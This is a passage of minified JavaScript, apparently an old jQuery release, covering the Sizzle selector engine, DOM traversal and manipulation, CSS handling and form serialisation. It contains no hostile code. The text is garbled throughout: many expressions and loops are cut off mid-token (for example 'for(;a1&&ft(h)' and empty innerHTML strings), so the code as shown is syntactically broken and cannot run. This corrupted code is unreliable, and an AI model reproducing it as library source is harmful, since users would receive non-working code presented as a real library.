s,o=[],u=0,a=e.length,f=t!=null;for(;u-1&&(s[f]=!(o[f]=c))}}else g=lt(g===o?g.splice(d,g.length):g),i?i(null,o,g,a):S.apply(o,g)})}function ht(e){var t,n,r,s=e.length,o=i.relative[e[0].type],u=o||i.relative[" "],a=o?1:0,f=at(function(e){return e===t},u,!0),l=at(function(e){return T.call(t,e)>-1},u,!0),h=[function(e,n,r){return!o&&(r||n!==c)||((t=n).nodeType?f(e,n,r):l(e,n,r))}];for(;a1&&ft(h),a>1&&e.slice(0,a-1).join("").replace(j,"$1"),n,a0,s=e.length>0,o=function(u,a,f,l,h){var p,d,v,m=[],y=0,w="0",x=u&&[],T=h!=null,N=c,C=u||s&&i.find.TAG("*",h&&a.parentNode||a),k=b+=N==null?1:Math.E;T&&(c=a!==g&&a,n=o.el);for(;(p=C[w])!=null;w++){if(s&&p){for(d=0;v=e[d];d++)if(v(p,a,f)){l.push(p);break}T&&(b=k,n=++o.el)}r&&((p=!v&&p)&&y--,u&&x.push(p))}y+=w;if(r&&w!==y){for(d=0;v=t[d];d++)v(x,m,a,f);if(u){if(y>0)while(w--)!x[w]&&!m[w]&&(m[w]=E.call(l));m=lt(m)}S.apply(l,m),T&&!u&&m.length>0&&y+t.length>1&&nt.uniqueSort(l)}return T&&(b=k,c=N),x};return o.el=0,r?N(o):o}function dt(e,t,n){var r=0,i=t.length;for(;r2&&(f=u[0]).type==="ID"&&t.nodeType===9&&!s&&i.relative[u[1].type]){t=i.find.ID(f.matches[0].replace($,""),t,s)[0];if(!t)return n;e=e.slice(u.shift().length)}for(o=J.POS.test(e)?-1:u.length-1;o>=0;o--){f=u[o];if(i.relative[l=f.type])break;if(c=i.find[l])if(r=c(f.matches[0].replace($,""),z.test(u[0].type)&&t.parentNode||t,s)){u.splice(o,1),e=r.length&&u.join("");if(!e)return S.apply(n,x.call(r,0)),n;break}}}return a(e,h)(r,t,s,n,z.test(e)),n}function mt(){}var n,r,i,s,o,u,a,f,l,c,h=!0,p="undefined",d=("sizcache"+Math.random()).replace(".",""),m=String,g=e.document,y=g.documentElement,b=0,w=0,E=[].pop,S=[].push,x=[].slice,T=[].indexOf||function(e){var t=0,n=this.length;for(;ti.cacheLength&&delete e[t.shift()],e[n+" "]=r},e)},k=C(),L=C(),A=C(),O="[\\x20\\t\\r\\n\\f]",M="(?:\\\\.|[-\\w]|[^\\x00-\\xa0])+",_=M.replace("w","w#"),D="([*^$|!~]?=)",P="\\["+O+"*("+M+")"+O+"*(?:"+D+O+"*(?:(['\"])((?:\\\\.|[^\\\\])*?)\\3|("+_+")|)|)"+O+"*\\]",H=":("+M+")(?:\\((?:(['\"])((?:\\\\.|[^\\\\])*?)\\2|([^()[\\]]*|(?:(?:"+P+")|[^:]|\\\\.)*|.*))\\)|)",B=":(even|odd|eq|gt|lt|nth|first|last)(?:\\("+O+"*((?:-\\d)?\\d*)"+O+"*\\)|)(?=[^-]|$)",j=new RegExp("^"+O+"+|((?:^|[^\\\\])(?:\\\\.)*)"+O+"+$","g"),F=new RegExp("^"+O+"*,"+O+"*"),I=new RegExp("^"+O+"*([\\x20\\t\\r\\n\\f>+~])"+O+"*"),q=new RegExp(H),R=/^(?:#([\w\-]+)|(\w+)|\.([\w\-]+))$/,U=/^:not/,z=/[\x20\t\r\n\f]*[+~]/,W=/:not\($/,X=/h\d/i,V=/input|select|textarea|button/i,$=/\\(?!\\)/g,J={ID:new RegExp("^#("+M+")"),CLASS:new RegExp("^\\.("+M+")"),NAME:new RegExp("^\\[name=['\"]?("+M+")['\"]?\\]"),TAG:new RegExp("^("+M.replace("w","w*")+")"),ATTR:new RegExp("^"+P),PSEUDO:new RegExp("^"+H),POS:new RegExp(B,"i"),CHILD:new RegExp("^:(only|nth|first|last)-child(?:\\("+O+"*(even|odd|(([+-]|)(\\d*)n|)"+O+"*(?:([+-]|)"+O+"*(\\d+)|))"+O+"*\\)|)","i"),needsContext:new RegExp("^"+O+"*[>+~]|"+B,"i")},K=function(e){var t=g.createElement("div");try{return e(t)}catch(n){return!1}finally{t=null}},Q=K(function(e){return e.appendChild(g.createComment("")),!e.getElementsByTagName("*").length}),G=K(function(e){return e.innerHTML="",e.firstChild&&typeof e.firstChild.getAttribute!==p&&e.firstChild.getAttribute("href")==="#"}),Y=K(function(e){e.innerHTML="";var t=typeof e.lastChild.getAttribute("multiple");return t!=="boolean"&&t!=="string"}),Z=K(function(e){return e.innerHTML="",!e.getElementsByClassName||!e.getElementsByClassName("e").length?!1:(e.lastChild.className="e",e.getElementsByClassName("e").length===2)}),et=K(function(e){e.id=d+0,e.innerHTML="
",y.insertBefore(e,y.firstChild);var t=g.getElementsByName&&g.getElementsByName(d).length===2+g.getElementsByName(d+0).length;return r=!g.getElementById(d),y.removeChild(e),t});try{x.call(y.childNodes,0)[0].nodeType}catch(tt){x=function(e){var t,n=[];for(;t=this[e];e++)n.push(t);return n}}nt.matches=function(e,t){return nt(e,null,null,t)},nt.matchesSelector=function(e,t){return nt(t,null,null,[e]).length>0},s=nt.getText=function(e){var t,n="",r=0,i=e.nodeType;if(i){if(i===1||i===9||i===11){if(typeof e.textContent=="string")return e.textContent;for(e=e.firstChild;e;e=e.nextSibling)n+=s(e)}else if(i===3||i===4)return e.nodeValue}else for(;t=e[r];r++)n+=s(t);return n},o=nt.isXML=function(e){var t=e&&(e.ownerDocument||e).documentElement;return t?t.nodeName!=="HTML":!1},u=nt.contains=y.contains?function(e,t){var n=e.nodeType===9?e.documentElement:e,r=t&&t.parentNode;return e===r||!!(r&&r.nodeType===1&&n.contains&&n.contains(r))}:y.compareDocumentPosition?function(e,t){return t&&!!(e.compareDocumentPosition(t)&16)}:function(e,t){while(t=t.parentNode)if(t===e)return!0;return!1},nt.attr=function(e,t){var n,r=o(e);return r||(t=t.toLowerCase()),(n=i.attrHandle[t])?n(e):r||Y?e.getAttribute(t):(n=e.getAttributeNode(t),n?typeof e[t]=="boolean"?e[t]?t:null:n.specified?n.value:null:null)},i=nt.selectors={cacheLength:50,createPseudo:N,match:J,attrHandle:G?{}:{href:function(e){return e.getAttribute("href",2)},type:function(e){return e.getAttribute("type")}},find:{ID:r?function(e,t,n){if(typeof t.getElementById!==p&&!n){var r=t.getElementById(e);return r&&r.parentNode?[r]:[]}}:function(e,n,r){if(typeof n.getElementById!==p&&!r){var i=n.getElementById(e);return i?i.id===e||typeof i.getAttributeNode!==p&&i.getAttributeNode("id").value===e?[i]:t:[]}},TAG:Q?function(e,t){if(typeof t.getElementsByTagName!==p)return t.getElementsByTagName(e)}:function(e,t){var n=t.getElementsByTagName(e);if(e==="*"){var r,i=[],s=0;for(;r=n[s];s++)r.nodeType===1&&i.push(r);return i}return n},NAME:et&&function(e,t){if(typeof t.getElementsByName!==p)return t.getElementsByName(name)},CLASS:Z&&function(e,t,n){if(typeof t.getElementsByClassName!==p&&!n)return t.getElementsByClassName(e)}},relative:{">":{dir:"parentNode",first:!0}," ":{dir:"parentNode"},"+":{dir:"previousSibling",first:!0},"~":{dir:"previousSibling"}},preFilter:{ATTR:function(e){return e[1]=e[1].replace($,""),e[3]=(e[4]||e[5]||"").replace($,""),e[2]==="~="&&(e[3]=" "+e[3]+" "),e.slice(0,4)},CHILD:function(e){return e[1]=e[1].toLowerCase(),e[1]==="nth"?(e[2]||nt.error(e[0]),e[3]=+(e[3]?e[4]+(e[5]||1):2*(e[2]==="even"||e[2]==="odd")),e[4]=+(e[6]+e[7]||e[2]==="odd")):e[2]&&nt.error(e[0]),e},PSEUDO:function(e){var t,n;if(J.CHILD.test(e[0]))return null;if(e[3])e[2]=e[3];else if(t=e[4])q.test(t)&&(n=ut(t,!0))&&(n=t.indexOf(")",t.length-n)-t.length)&&(t=t.slice(0,n),e[0]=e[0].slice(0,n)),e[2]=t;return e.slice(0,3)}},filter:{ID:r?function(e){return e=e.replace($,""),function(t){return t.getAttribute("id")===e}}:function(e){return e=e.replace($,""),function(t){var n=typeof t.getAttributeNode!==p&&t.getAttributeNode("id");return n&&n.value===e}},TAG:function(e){return e==="*"?function(){return!0}:(e=e.replace($,"").toLowerCase(),function(t){return t.nodeName&&t.nodeName.toLowerCase()===e})},CLASS:function(e){var t=k[d][e+" "];return t||(t=new RegExp("(^|"+O+")"+e+"("+O+"|$)"))&&k(e,function(e){return t.test(e.className||typeof e.getAttribute!==p&&e.getAttribute("class")||"")})},ATTR:function(e,t,n){return function(r,i){var s=nt.attr(r,e);return s==null?t==="!=":t?(s+="",t==="="?s===n:t==="!="?s!==n:t==="^="?n&&s.indexOf(n)===0:t==="*="?n&&s.indexOf(n)>-1:t==="$="?n&&s.substr(s.length-n.length)===n:t==="~="?(" "+s+" ").indexOf(n)>-1:t==="|="?s===n||s.substr(0,n.length+1)===n+"-":!1):!0}},CHILD:function(e,t,n,r){return e==="nth"?function(e){var t,i,s=e.parentNode;if(n===1&&r===0)return!0;if(s){i=0;for(t=s.firstChild;t;t=t.nextSibling)if(t.nodeType===1){i++;if(e===t)break}}return i-=r,i===n||i%n===0&&i/n>=0}:function(t){var n=t;switch(e){case"only":case"first":while(n=n.previousSibling)if(n.nodeType===1)return!1;if(e==="first")return!0;n=t;case"last":while(n=n.nextSibling)if(n.nodeType===1)return!1;return!0}}},PSEUDO:function(e,t){var n,r=i.pseudos[e]||i.setFilters[e.toLowerCase()]||nt.error("unsupported pseudo: "+e);return r[d]?r(t):r.length>1?(n=[e,e,"",t],i.setFilters.hasOwnProperty(e.toLowerCase())?N(function(e,n){var i,s=r(e,t),o=s.length;while(o--)i=T.call(e,s[o]),e[i]=!(n[i]=s[o])}):function(e){return r(e,0,n)}):r}},pseudos:{not:N(function(e){var t=[],n=[],r=a(e.replace(j,"$1"));return r[d]?N(function(e,t,n,i){var s,o=r(e,null,i,[]),u=e.length;while(u--)if(s=o[u])e[u]=!(t[u]=s)}):function(e,i,s){return t[0]=e,r(t,null,s,n),!n.pop()}}),has:N(function(e){return function(t){return nt(e,t).length>0}}),contains:N(function(e){return function(t){return(t.textContent||t.innerText||s(t)).indexOf(e)>-1}}),enabled:function(e){return e.disabled===!1},disabled:function(e){return e.disabled===!0},checked:function(e){var t=e.nodeName.toLowerCase();return t==="input"&&!!e.checked||t==="option"&&!!e.selected},selected:function(e){return e.parentNode&&e.parentNode.selectedIndex,e.selected===!0},parent:function(e){return!i.pseudos.empty(e)},empty:function(e){var t;e=e.firstChild;while(e){if(e.nodeName>"@"||(t=e.nodeType)===3||t===4)return!1;e=e.nextSibling}return!0},header:function(e){return X.test(e.nodeName)},text:function(e){var t,n;return e.nodeName.toLowerCase()==="input"&&(t=e.type)==="text"&&((n=e.getAttribute("type"))==null||n.toLowerCase()===t)},radio:rt("radio"),checkbox:rt("checkbox"),file:rt("file"),password:rt("password"),image:rt("image"),submit:it("submit"),reset:it("reset"),button:function(e){var t=e.nodeName.toLowerCase();return t==="input"&&e.type==="button"||t==="button"},input:function(e){return V.test(e.nodeName)},focus:function(e){var t=e.ownerDocument;return e===t.activeElement&&(!t.hasFocus||t.hasFocus())&&!!(e.type||e.href||~e.tabIndex)},active:function(e){return e===e.ownerDocument.activeElement},first:st(function(){return[0]}),last:st(function(e,t){return[t-1]}),eq:st(function(e,t,n){return[n<0?n+t:n]}),even:st(function(e,t){for(var n=0;n=0;)e.push(r);return e}),gt:st(function(e,t,n){for(var r=n<0?n+t:n;++r",e.querySelectorAll("[selected]").length||i.push("\\["+O+"*(?:checked|disabled|ismap|multiple|readonly|selected|value)"),e.querySelectorAll(":checked").length||i.push(":checked")}),K(function(e){e.innerHTML="

",e.querySelectorAll("[test^='']").length&&i.push("[*^$]="+O+"*(?:\"\"|'')"),e.innerHTML="",e.querySelectorAll(":enabled").length||i.push(":enabled",":disabled")}),i=new RegExp(i.join("|")),vt=function(e,r,s,o,u){if(!o&&!u&&!i.test(e)){var a,f,l=!0,c=d,h=r,p=r.nodeType===9&&e;if(r.nodeType===1&&r.nodeName.toLowerCase()!=="object"){a=ut(e),(l=r.getAttribute("id"))?c=l.replace(n,"\\$&"):r.setAttribute("id",c),c="[id='"+c+"'] ",f=a.length;while(f--)a[f]=c+a[f].join("");h=z.test(e)&&r.parentNode||r,p=a.join(",")}if(p)try{return S.apply(s,x.call(h.querySelectorAll(p),0)),s}catch(v){}finally{l||r.removeAttribute("id")}}return t(e,r,s,o,u)},u&&(K(function(t){e=u.call(t,"div");try{u.call(t,"[test!='']:sizzle"),s.push("!=",H)}catch(n){}}),s=new RegExp(s.join("|")),nt.matchesSelector=function(t,n){n=n.replace(r,"='$1']");if(!o(t)&&!s.test(n)&&!i.test(n))try{var a=u.call(t,n);if(a||e||t.document&&t.document.nodeType!==11)return a}catch(f){}return nt(n,null,null,[t]).length>0})}(),i.pseudos.nth=i.pseudos.eq,i.filters=mt.prototype=i.pseudos,i.setFilters=new mt,nt.attr=v.attr,v.find=nt,v.expr=nt.selectors,v.expr[":"]=v.expr.pseudos,v.unique=nt.uniqueSort,v.text=nt.getText,v.isXMLDoc=nt.isXML,v.contains=nt.contains}(e);var nt=/Until$/,rt=/^(?:parents|prev(?:Until|All))/,it=/^.[^:#\[\.,]*$/,st=v.expr.match.needsContext,ot={children:!0,contents:!0,next:!0,prev:!0};v.fn.extend({find:function(e){var t,n,r,i,s,o,u=this;if(typeof e!="string")return v(e).filter(function(){for(t=0,n=u.length;t0)for(i=r;i=0:v.filter(e,this).length>0:this.filter(e).length>0)},closest:function(e,t){var n,r=0,i=this.length,s=[],o=st.test(e)||typeof e!="string"?v(e,t||this.context):0;for(;r-1:v.find.matchesSelector(n,e)){s.push(n);break}n=n.parentNode}}return s=s.length>1?v.unique(s):s,this.pushStack(s,"closest",e)},index:function(e){return e?typeof e=="string"?v.inArray(this[0],v(e)):v.inArray(e.jquery?e[0]:e,this):this[0]&&this[0].parentNode?this.prevAll().length:-1},add:function(e,t){var n=typeof e=="string"?v(e,t):v.makeArray(e&&e.nodeType?[e]:e),r=v.merge(this.get(),n);return this.pushStack(ut(n[0])||ut(r[0])?r:v.unique(r))},addBack:function(e){return this.add(e==null?this.prevObject:this.prevObject.filter(e))}}),v.fn.andSelf=v.fn.addBack,v.each({parent:function(e){var t=e.parentNode;return t&&t.nodeType!==11?t:null},parents:function(e){return v.dir(e,"parentNode")},parentsUntil:function(e,t,n){return v.dir(e,"parentNode",n)},next:function(e){return at(e,"nextSibling")},prev:function(e){return at(e,"previousSibling")},nextAll:function(e){return v.dir(e,"nextSibling")},prevAll:function(e){return v.dir(e,"previousSibling")},nextUntil:function(e,t,n){return v.dir(e,"nextSibling",n)},prevUntil:function(e,t,n){return v.dir(e,"previousSibling",n)},siblings:function(e){return v.sibling((e.parentNode||{}).firstChild,e)},children:function(e){return v.sibling(e.firstChild)},contents:function(e){return v.nodeName(e,"iframe")?e.contentDocument||e.contentWindow.document:v.merge([],e.childNodes)}},function(e,t){v.fn[e]=function(n,r){var i=v.map(this,t,n);return nt.test(e)||(r=n),r&&typeof r=="string"&&(i=v.filter(r,i)),i=this.length>1&&!ot[e]?v.unique(i):i,this.length>1&&rt.test(e)&&(i=i.reverse()),this.pushStack(i,e,l.call(arguments).join(","))}}),v.extend({filter:function(e,t,n){return n&&(e=":not("+e+")"),t.length===1?v.find.matchesSelector(t[0],e)?[t[0]]:[]:v.find.matches(e,t)},dir:function(e,n,r){var i=[],s=e[n];while(s&&s.nodeType!==9&&(r===t||s.nodeType!==1||!v(s).is(r)))s.nodeType===1&&i.push(s),s=s[n];return i},sibling:function(e,t){var n=[];for(;e;e=e.nextSibling)e.nodeType===1&&e!==t&&n.push(e);return n}});var ct="abbr|article|aside|audio|bdi|canvas|data|datalist|details|figcaption|figure|footer|header|hgroup|mark|meter|nav|output|progress|section|summary|time|video",ht=/ jQuery\d+="(?:null|\d+)"/g,pt=/^\s+/,dt=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:]+)[^>]*)\/>/gi,vt=/<([\w:]+)/,mt=/]","i"),Et=/^(?:checkbox|radio)$/,St=/checked\s*(?:[^=]|=\s*.checked.)/i,xt=/\/(java|ecma)script/i,Tt=/^\s*\s*$/g,Nt={option:[1,""],legend:[1,"
","
"],thead:[1,"","
"],tr:[2,"","
"],td:[3,"","
"],col:[2,"","
"],area:[1,"",""],_default:[0,"",""]},Ct=lt(i),kt=Ct.appendChild(i.createElement("div"));Nt.optgroup=Nt.option,Nt.tbody=Nt.tfoot=Nt.colgroup=Nt.caption=Nt.thead,Nt.th=Nt.td,v.support.htmlSerialize||(Nt._default=[1,"X
","
"]),v.fn.extend({text:function(e){return v.access(this,function(e){return e===t?v.text(this):this.empty().append((this[0]&&this[0].ownerDocument||i).createTextNode(e))},null,e,arguments.length)},wrapAll:function(e){if(v.isFunction(e))return this.each(function(t){v(this).wrapAll(e.call(this,t))});if(this[0]){var t=v(e,this[0].ownerDocument).eq(0).clone(!0);this[0].parentNode&&t.insertBefore(this[0]),t.map(function(){var e=this;while(e.firstChild&&e.firstChild.nodeType===1)e=e.firstChild;return e}).append(this)}return this},wrapInner:function(e){return v.isFunction(e)?this.each(function(t){v(this).wrapInner(e.call(this,t))}):this.each(function(){var t=v(this),n=t.contents();n.length?n.wrapAll(e):t.append(e)})},wrap:function(e){var t=v.isFunction(e);return this.each(function(n){v(this).wrapAll(t?e.call(this,n):e)})},unwrap:function(){return this.parent().each(function(){v.nodeName(this,"body")||v(this).replaceWith(this.childNodes)}).end()},append:function(){return this.domManip(arguments,!0,function(e){(this.nodeType===1||this.nodeType===11)&&this.appendChild(e)})},prepend:function(){return this.domManip(arguments,!0,function(e){(this.nodeType===1||this.nodeType===11)&&this.insertBefore(e,this.firstChild)})},before:function(){if(!ut(this[0]))return this.domManip(arguments,!1,function(e){this.parentNode.insertBefore(e,this)});if(arguments.length){var e=v.clean(arguments);return this.pushStack(v.merge(e,this),"before",this.selector)}},after:function(){if(!ut(this[0]))return this.domManip(arguments,!1,function(e){this.parentNode.insertBefore(e,this.nextSibling)});if(arguments.length){var e=v.clean(arguments);return this.pushStack(v.merge(this,e),"after",this.selector)}},remove:function(e,t){var n,r=0;for(;(n=this[r])!=null;r++)if(!e||v.filter(e,[n]).length)!t&&n.nodeType===1&&(v.cleanData(n.getElementsByTagName("*")),v.cleanData([n])),n.parentNode&&n.parentNode.removeChild(n);return this},empty:function(){var e,t=0;for(;(e=this[t])!=null;t++){e.nodeType===1&&v.cleanData(e.getElementsByTagName("*"));while(e.firstChild)e.removeChild(e.firstChild)}return this},clone:function(e,t){return e=e==null?!1:e,t=t==null?e:t,this.map(function(){return v.clone(this,e,t)})},html:function(e){return v.access(this,function(e){var n=this[0]||{},r=0,i=this.length;if(e===t)return n.nodeType===1?n.innerHTML.replace(ht,""):t;if(typeof e=="string"&&!yt.test(e)&&(v.support.htmlSerialize||!wt.test(e))&&(v.support.leadingWhitespace||!pt.test(e))&&!Nt[(vt.exec(e)||["",""])[1].toLowerCase()]){e=e.replace(dt,"<$1>");try{for(;r1&&typeof f=="string"&&St.test(f))return this.each(function(){v(this).domManip(e,n,r)});if(v.isFunction(f))return this.each(function(i){var s=v(this);e[0]=f.call(this,i,n?s.html():t),s.domManip(e,n,r)});if(this[0]){i=v.buildFragment(e,this,l),o=i.fragment,s=o.firstChild,o.childNodes.length===1&&(o=s);if(s){n=n&&v.nodeName(s,"tr");for(u=i.cacheable||c-1;a0?this.clone(!0):this).get(),v(o[i])[t](r),s=s.concat(r);return this.pushStack(s,e,o.selector)}}),v.extend({clone:function(e,t,n){var r,i,s,o;v.support.html5Clone||v.isXMLDoc(e)||!wt.test("<"+e.nodeName+">")?o=e.cloneNode(!0):(kt.innerHTML=e.outerHTML,kt.removeChild(o=kt.firstChild));if((!v.support.noCloneEvent||!v.support.noCloneChecked)&&(e.nodeType===1||e.nodeType===11)&&!v.isXMLDoc(e)){Ot(e,o),r=Mt(e),i=Mt(o);for(s=0;r[s];++s)i[s]&&Ot(r[s],i[s])}if(t){At(e,o);if(n){r=Mt(e),i=Mt(o);for(s=0;r[s];++s)At(r[s],i[s])}}return r=i=null,o},clean:function(e,t,n,r){var s,o,u,a,f,l,c,h,p,d,m,g,y=t===i&&Ct,b=[];if(!t||typeof t.createDocumentFragment=="undefined")t=i;for(s=0;(u=e[s])!=null;s++){typeof u=="number"&&(u+="");if(!u)continue;if(typeof u=="string")if(!gt.test(u))u=t.createTextNode(u);else{y=y||lt(t),c=t.createElement("div"),y.appendChild(c),u=u.replace(dt,"<$1>"),a=(vt.exec(u)||["",""])[1].toLowerCase(),f=Nt[a]||Nt._default,l=f[0],c.innerHTML=f[1]+u+f[2];while(l--)c=c.lastChild;if(!v.support.tbody){h=mt.test(u),p=a==="table"&&!h?c.firstChild&&c.firstChild.childNodes:f[1]===""&&!h?c.childNodes:[];for(o=p.length-1;o>=0;--o)v.nodeName(p[o],"tbody")&&!p[o].childNodes.length&&p[o].parentNode.removeChild(p[o])}!v.support.leadingWhitespace&&pt.test(u)&&c.insertBefore(t.createTextNode(pt.exec(u)[0]),c.firstChild),u=c.childNodes,c.parentNode.removeChild(c)}u.nodeType?b.push(u):v.merge(b,u)}c&&(u=c=y=null);if(!v.support.appendChecked)for(s=0;(u=b[s])!=null;s++)v.nodeName(u,"input")?_t(u):typeof u.getElementsByTagName!="undefined"&&v.grep(u.getElementsByTagName("input"),_t);if(n){m=function(e){if(!e.type||xt.test(e.type))return r?r.push(e.parentNode?e.parentNode.removeChild(e):e):n.appendChild(e)};for(s=0;(u=b[s])!=null;s++)if(!v.nodeName(u,"script")||!m(u))n.appendChild(u),typeof u.getElementsByTagName!="undefined"&&(g=v.grep(v.merge([],u.getElementsByTagName("script")),m),b.splice.apply(b,[s+1,0].concat(g)),s+=g.length)}return b},cleanData:function(e,t){var n,r,i,s,o=0,u=v.expando,a=v.cache,f=v.support.deleteExpando,l=v.event.special;for(;(i=e[o])!=null;o++)if(t||v.acceptData(i)){r=i[u],n=r&&a[r];if(n){if(n.events)for(s in n.events)l[s]?v.event.remove(i,s):v.removeEvent(i,s,n.handle);a[r]&&(delete a[r],f?delete i[u]:i.removeAttribute?i.removeAttribute(u):i[u]=null,v.deletedIds.push(r))}}}}),function(){var e,t;v.uaMatch=function(e){e=e.toLowerCase();var t=/(chrome)[ \/]([\w.]+)/.exec(e)||/(webkit)[ \/]([\w.]+)/.exec(e)||/(opera)(?:.*version|)[ \/]([\w.]+)/.exec(e)||/(msie) ([\w.]+)/.exec(e)||e.indexOf("compatible")<0&&/(mozilla)(?:.*? rv:([\w.]+)|)/.exec(e)||[];return{browser:t[1]||"",version:t[2]||"0"}},e=v.uaMatch(o.userAgent),t={},e.browser&&(t[e.browser]=!0,t.version=e.version),t.chrome?t.webkit=!0:t.webkit&&(t.safari=!0),v.browser=t,v.sub=function(){function e(t,n){return new e.fn.init(t,n)}v.extend(!0,e,this),e.superclass=this,e.fn=e.prototype=this(),e.fn.constructor=e,e.sub=this.sub,e.fn.init=function(r,i){return i&&i instanceof v&&!(i instanceof e)&&(i=e(i)),v.fn.init.call(this,r,i,t)},e.fn.init.prototype=e.fn;var t=e(i);return e}}();var Dt,Pt,Ht,Bt=/alpha\([^)]*\)/i,jt=/opacity=([^)]*)/,Ft=/^(top|right|bottom|left)$/,It=/^(none|table(?!-c[ea]).+)/,qt=/^margin/,Rt=new RegExp("^("+m+")(.*)$","i"),Ut=new RegExp("^("+m+")(?!px)[a-z%]+$","i"),zt=new RegExp("^([-+])=("+m+")","i"),Wt={BODY:"block"},Xt={position:"absolute",visibility:"hidden",display:"block"},Vt={letterSpacing:0,fontWeight:400},$t=["Top","Right","Bottom","Left"],Jt=["Webkit","O","Moz","ms"],Kt=v.fn.toggle;v.fn.extend({css:function(e,n){return v.access(this,function(e,n,r){return r!==t?v.style(e,n,r):v.css(e,n)},e,n,arguments.length>1)},show:function(){return Yt(this,!0)},hide:function(){return Yt(this)},toggle:function(e,t){var n=typeof e=="boolean";return v.isFunction(e)&&v.isFunction(t)?Kt.apply(this,arguments):this.each(function(){(n?e:Gt(this))?v(this).show():v(this).hide()})}}),v.extend({cssHooks:{opacity:{get:function(e,t){if(t){var n=Dt(e,"opacity");return n===""?"1":n}}}},cssNumber:{fillOpacity:!0,fontWeight:!0,lineHeight:!0,opacity:!0,orphans:!0,widows:!0,zIndex:!0,zoom:!0},cssProps:{"float":v.support.cssFloat?"cssFloat":"styleFloat"},style:function(e,n,r,i){if(!e||e.nodeType===3||e.nodeType===8||!e.style)return;var s,o,u,a=v.camelCase(n),f=e.style;n=v.cssProps[a]||(v.cssProps[a]=Qt(f,a)),u=v.cssHooks[n]||v.cssHooks[a];if(r===t)return u&&"get"in u&&(s=u.get(e,!1,i))!==t?s:f[n];o=typeof r,o==="string"&&(s=zt.exec(r))&&(r=(s[1]+1)*s[2]+parseFloat(v.css(e,n)),o="number");if(r==null||o==="number"&&isNaN(r))return;o==="number"&&!v.cssNumber[a]&&(r+="px");if(!u||!("set"in u)||(r=u.set(e,r,i))!==t)try{f[n]=r}catch(l){}},css:function(e,n,r,i){var s,o,u,a=v.camelCase(n);return n=v.cssProps[a]||(v.cssProps[a]=Qt(e.style,a)),u=v.cssHooks[n]||v.cssHooks[a],u&&"get"in u&&(s=u.get(e,!0,i)),s===t&&(s=Dt(e,n)),s==="normal"&&n in Vt&&(s=Vt[n]),r||i!==t?(o=parseFloat(s),r||v.isNumeric(o)?o||0:s):s},swap:function(e,t,n){var r,i,s={};for(i in t)s[i]=e.style[i],e.style[i]=t[i];r=n.call(e);for(i in t)e.style[i]=s[i];return r}}),e.getComputedStyle?Dt=function(t,n){var r,i,s,o,u=e.getComputedStyle(t,null),a=t.style;return u&&(r=u.getPropertyValue(n)||u[n],r===""&&!v.contains(t.ownerDocument,t)&&(r=v.style(t,n)),Ut.test(r)&&qt.test(n)&&(i=a.width,s=a.minWidth,o=a.maxWidth,a.minWidth=a.maxWidth=a.width=r,r=u.width,a.width=i,a.minWidth=s,a.maxWidth=o)),r}:i.documentElement.currentStyle&&(Dt=function(e,t){var n,r,i=e.currentStyle&&e.currentStyle[t],s=e.style;return i==null&&s&&s[t]&&(i=s[t]),Ut.test(i)&&!Ft.test(t)&&(n=s.left,r=e.runtimeStyle&&e.runtimeStyle.left,r&&(e.runtimeStyle.left=e.currentStyle.left),s.left=t==="fontSize"?"1em":i,i=s.pixelLeft+"px",s.left=n,r&&(e.runtimeStyle.left=r)),i===""?"auto":i}),v.each(["height","width"],function(e,t){v.cssHooks[t]={get:function(e,n,r){if(n)return e.offsetWidth===0&&It.test(Dt(e,"display"))?v.swap(e,Xt,function(){return tn(e,t,r)}):tn(e,t,r)},set:function(e,n,r){return Zt(e,n,r?en(e,t,r,v.support.boxSizing&&v.css(e,"boxSizing")==="border-box"):0)}}}),v.support.opacity||(v.cssHooks.opacity={get:function(e,t){return jt.test((t&&e.currentStyle?e.currentStyle.filter:e.style.filter)||"")?.01*parseFloat(RegExp.$1)+"":t?"1":""},set:function(e,t){var n=e.style,r=e.currentStyle,i=v.isNumeric(t)?"alpha(opacity="+t*100+")":"",s=r&&r.filter||n.filter||"";n.zoom=1;if(t>=1&&v.trim(s.replace(Bt,""))===""&&n.removeAttribute){n.removeAttribute("filter");if(r&&!r.filter)return}n.filter=Bt.test(s)?s.replace(Bt,i):s+" "+i}}),v(function(){v.support.reliableMarginRight||(v.cssHooks.marginRight={get:function(e,t){return v.swap(e,{display:"inline-block"},function(){if(t)return Dt(e,"marginRight")})}}),!v.support.pixelPosition&&v.fn.position&&v.each(["top","left"],function(e,t){v.cssHooks[t]={get:function(e,n){if(n){var r=Dt(e,t);return Ut.test(r)?v(e).position()[t]+"px":r}}}})}),v.expr&&v.expr.filters&&(v.expr.filters.hidden=function(e){return e.offsetWidth===0&&e.offsetHeight===0||!v.support.reliableHiddenOffsets&&(e.style&&e.style.display||Dt(e,"display"))==="none"},v.expr.filters.visible=function(e){return!v.expr.filters.hidden(e)}),v.each({margin:"",padding:"",border:"Width"},function(e,t){v.cssHooks[e+t]={expand:function(n){var r,i=typeof n=="string"?n.split(" "):[n],s={};for(r=0;r<4;r++)s[e+$t[r]+t]=i[r]||i[r-2]||i[0];return s}},qt.test(e)||(v.cssHooks[e+t].set=Zt)});var rn=/%20/g,sn=/\[\]$/,on=/\r?\n/g,un=/^(?:color|date|datetime|datetime-local|email|hidden|month|number|password|range|search|tel|text|time|url|week)$/i,an=/^(?:select|textarea)/i;v.fn.extend({serialize:function(){return v.param(this.serializeArray())},serializeArray:function(){return this.map(function(){return this.elements?v.makeArray(this.elements):this}).filter(function(){return this.name&&!this.disabled&&(this.checked||an.test(this.nodeName)||un.test(this.type))}).map(function(e,t){var n=v(this).val();return n==null?null:v.isArray(n)?v.map(n,function(e,n){return{name:t.name,value:e.replace(on,"\r\n")}}):{name:t.name,value:n.replace(on,"\r\n")}}).get()}}),v.param=function(e,n){var r,i=[],s=function(e,t){t=v.isFunction(t)?t():t==null?"":t,i[i.length]=encodeURIComponent(e)+"="+encodeURIComponent(t)};n===t&&(n=v.ajaxSettings&&v.ajaxSettings.traditional);if(v.isArray(e)||e.jquery&&!v.isPlainObject(e))v.each(e,function(){s(this.name,this.value)});else for(r in e)fn(r,e[r],n,s);return i.join("&").replace(rn,"+")};var ln,cn,hn=/#.*$/,pn=/^(.*?):[ 